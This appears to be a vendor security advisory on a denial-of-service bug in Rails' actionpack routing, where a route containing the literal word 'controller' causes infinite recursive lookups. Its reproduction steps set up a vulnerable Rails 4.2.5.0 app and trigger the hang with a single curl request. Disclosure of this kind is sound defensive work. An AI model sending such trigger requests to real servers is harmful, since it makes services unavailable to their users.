Ruby on Rails (often called Rails) is a web application framework written in Ruby that emphasizes convention over configuration and the principle of "don't repeat yourself" (DRY). It provides developers with a structured and efficient way to build database-backed web applications through pre-built patterns for rapid development.
The Open Web Application Security Project (OWASP) explains that denial of service (DoS) attacks aim to make a service “unavailable for the purpose it was designed.”
In this case, a route with the word “controller” in it can lead to an infinite loop during request processing, thereby causing most system resources to be used. This denies other users access to the system.
Details
Module Info
- Product: Ruby on Rails Framework
- Affected packages: actionpack
- GitHub repository:
https://github.com/rails/rails/tree/main/actionpack - Published package: The individual actionpack gem or the entire Rails Framework gem (which includes actionpack).
- Package manager: gem
Vulnerability Info
Rails routes typically use “:controller” as a special dynamic segment to map URLs to controllers. For example, in the code below “:controller” signals to Rails to search for a controller by the name of the provided literal:
get ':controller/:action/:id'
However, when "controller" appeared literally in the route, Rails mistakenly treated it as a dynamic segment, triggering recursive route lookups.
Here is an example that is handled correctly:
GET /products/42
Rails looks for a controller named ProductsController and passes 42 as the argument.
Below is a problematic example:
get 'foo/controller/bar' => 'foo#bar'
In this example, the code mistakenly considers the word controller to be dynamic instead of a string literal and infinitely attempts to resolve it.
Steps To Reproduce
1. Install a version of Rails that contains this vulnerability, such as 4.2.5.0:
gem install rails -v 4.2.5.0
rails _4.2.5.0_ new vulnerable_app
cd vulnerable_app
bundle install
2. Open config/routes.rb and add a route that includes the word "controller" in the path:
Rails.application.routes.draw do
get 'test/controller/test', to: 'welcome#index'
end
3. Generate a simple controller to handle the route:
rails generate controller Welcome index
4. Start the server:
rails server
5. Trigger the exploit:
curl http://localhost:3000/test/controller/test
6. Observe the denial of service:
- The server will hang or crash due to an infinite loop in the routing system.
- CPU and memory usage will spike as Rails tries to resolve "controller" recursively.
- The server may output stack overflow errors or become unresponsive.
Credits
- Aaron Patterson
Mitigation
Users of affected versions of Ruby on Rails should follow one of the following mitigations:
- Upgrade to a corrected version.
- Leverage a commercial support partner like HeroDevs for post-EOL security support.